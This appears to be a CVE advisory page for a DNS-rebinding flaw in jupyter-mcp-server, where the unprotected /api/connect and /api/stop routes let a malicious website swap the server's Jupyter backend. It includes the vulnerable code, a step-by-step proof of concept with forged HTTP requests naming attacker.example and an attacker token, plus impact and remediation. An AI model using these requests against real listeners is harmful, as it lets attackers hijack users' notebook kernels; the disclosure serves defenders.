CVE Watchtower

CVE-2026-77359jupyter-mcp-server

NVD

Vulnerability Summary

Standalone `streamable-http` mode in `datalayer/jupyter-mcp-server` rejects forged `Host` and `Origin` headers on `/mcp`, but custom management routes mounted on the same application do not get the same browser-origin protection. A malicious website can keep an attacker origin while its hostname resolves to `127.0.0.1` or a private target address, then send `PUT /api/connect` to replace the MCP server's active Jupyter backend. The route accepts the browser-shaped request and makes the server start a kernel client against attacker-controlled infrastructure.

The protected `/mcp` endpoint shows the intended browser-origin boundary. With `MCP_TOKEN` configured, `/mcp` rejects forged browser headers:

```text
POST /mcp with Authorization: Bearer SCAN_MCP_TOKEN
Host: attacker.example:8142
Origin: http://attacker.example:8142

HTTP 421 Invalid Host header
```

The vulnerable route is `jupyter_mcp_server/server.py:143-187`. It parses caller JSON, updates the active Jupyter backend configuration, resets `ServerContext`, and starts the kernel without applying the `/mcp` Host/Origin rejection to the custom route:

```python
@mcp.custom_route("/api/connect", ["PUT"])
async def connect(request: Request):
data = await request.json()

document_runtime = DocumentRuntime(**data)

set_config(
provider=document_runtime.provider,
runtime_url=document_runtime.runtime_url,
runtime_id=document_runtime.runtime_id,
runtime_token=document_runtime.runtime_token,
document_url=document_runtime.document_url,
document_id=document_runtime.document_id,
document_token=document_runtime.document_token,
allowed_jupyter_tools=document_runtime.allowed_jupyter_tools or "notebook_run-all-cells,notebook_get-selected-cell"
)

ServerContext.reset()

try:
__start_kernel()
return JSONResponse({"success": True})
```

`/api/stop` is also state-changing and accepts the same browser-origin route shape:

```python
# jupyter_mcp_server/server.py:190-199
@mcp.custom_route("/api/stop", ["DELETE"])
async def stop(request: Request):
try:
current_notebook = notebook_manager.get_current_notebook() or "default"
if current_notebook in notebook_manager:
notebook_manager.remove_notebook(current_notebook)
return JSONResponse({"success": True})
```

## Proof of concept

Run the affected version with `MCP_TOKEN` configured:

```bash
git clone https://github.com/datalayer/jupyter-mcp-server
cd jupyter-mcp-server
git checkout 27b91e551d8bbca2da32c334f9f13267290ff815
python3.12 -m venv .venv
. .venv/bin/activate
python -m pip install -e .
MCP_TOKEN=SCAN_MCP_TOKEN python -m jupyter_mcp_server \
--transport streamable-http \
--start-new-runtime false \
--jupyterlab false \
--mcp-token SCAN_MCP_TOKEN \
--port 8083
```

First, show that `/mcp` rejects the browser-shaped request:

```http
POST /mcp HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Authorization: Bearer SCAN_MCP_TOKEN
Content-Type: application/json
Accept: application/json, text/event-stream

{"jsonrpc":"2.0","id":1,"method":"initialize","params":{}}
```

Observed response:

```http
HTTP/1.1 421
Invalid Host header
```

Now send the same browser-origin shape to the custom management route. In a browser DNS-rebinding attack, the attacker-controlled page keeps an attacker origin while the hostname resolves to `127.0.0.1` or the private MCP listener:

```http
PUT /api/connect HTTP/1.1
Host: attacker.example:8083
Origin: http://attacker.example:8083
Content-Type: application/json

{
"provider": "jupyter",
"runtime_url": "http://127.0.0.1:9183",
"runtime_id": "",
"runtime_token": "ATTACKER_TOKEN_REBIND",
"document_url": "http://127.0.0.1:9183",
"document_id": "demo.ipynb",
"document_token": "ATTACKER_TOKEN_REBIND"
}
```

Observed response:

```http
HTTP/1.1 200 OK
content-type: application/json

{"success":true}
```

The server log shows that `/api/connect` accepted the attacker-chosen backend despite the browser-origin headers:

```text
Connect endpoint received - runtime_url: 'http://127.0.0.1:9183',
document_url: 'http://127.0.0.1:9183', provider: jupyter
Starting the kernel client...
Default notebook kernel started successfully
```

When an attacker-controlled backend is listening on `127.0.0.1:9183`, it receives Jupyter API traffic from the MCP server:

```text
POST /api/kernels
Authorization: Bearer ATTACKER_TOKEN_REBIND

GET /api/kernels/fake-kernel/channels?...token=ATTACKER_TOKEN_REBIND
```

## Impact

The protected `/mcp` endpoint rejects forged `Host` and `Origin` values, but adjacent custom routes accept them and perform sensitive state changes. A web attacker can use DNS rebinding to reach a local, LAN, VPN, or Docker-published MCP listener from the victim's browser, stop the current notebook kernel through `/api/stop`, replace the configured `runtime_url` and `document_url` through `/api/connect`, and cause the MCP server to initiate Jupyter API and WebSocket traffic to attacker-controlled infrastructure.

## Why this is a vulnerability, not intended behavior

- This is not a generic claim that `/mcp` lacks Host validation. `/mcp` rejects the forged Host replay with `HTTP 421 Invalid Host header`.
- This is not a trusted MCP-client operation. The vulnerable path is a custom HTTP route outside normal JSON-RPC tool dispatch, and it accepts browser-shaped requests.
- This is not only a broad-bind issue. The default `0.0.0.0` bind increases exposure, but the browser-origin boundary failure is that state-changing custom routes bypass the Host/Origin controls applied to `/mcp`.

## Remediation

Apply the same browser-origin security policy to every route mounted on the standalone HTTP app:

1. Enforce Host and Origin validation before custom routes parse request bodies or mutate global config.
2. Require the `MCP_TOKEN` bearer token on `/api/connect`, `/api/stop`, `/api/healthz`, and any future custom route that reads or changes server state.
3. Bind standalone HTTP to `127.0.0.1` by default, and require an explicit host allowlist for non-loopback listeners.
4. Add regression tests proving that `/api/connect` and `/api/stop` reject forged browser `Host` and `Origin` headers.
Severity Level
CRITICAL(9.3)
Published Date
Nov 19, 2026
Last Modified
Nov 20, 2026
Exploitation Status
Public exploit available
CVE Record Status
Published
Root Weakness (CWE)
See the MITRE CWE entry for the full definition of this weakness.
CVSS v4.0 Base Metrics — Score 9.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:H/SC:H/SI:H/SA:H
Attack VectorNetwork
Attack ComplexityLow
Attack RequirementsNone
Privileges RequiredNone
User InteractionNone
Confidentiality (Vulnerable System)Low
Integrity (Vulnerable System)High
Availability (Vulnerable System)High
Confidentiality (Subsequent System)High
Integrity (Subsequent System)High
Availability (Subsequent System)High

Affected & Patched Versions

Affected Versions
  • jupyter-mcp-server <= 1.0.2
Patched Versions
No patched version published yet
Until a fix ships, reduce exposure:
  • Restrict access to the affected service or interface to trusted networks.
  • Disable the affected feature if you do not need it.
  • Watch the vendor advisory for a firmware or software update.

What to do

Prioritize this fix. Exploit code is public, so attacks can follow quickly.

  1. Check whether you run jupyter-mcp-server and which version.
  2. No patched version is listed yet. Limit access to the affected service to trusted networks, and disable the feature if you can.
  3. Subscribe to the vendor advisory so you learn when a fix ships.
  4. Review logs and exposed services for signs of earlier compromise.

Timeline

  • Nov 19, 2026Published
  • Nov 20, 2026Record last modified

Score, severity and exploitation changes are tracked from the day Watchtower started logging them.

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Data last checked: Nov 20, 2026 02:00 UTC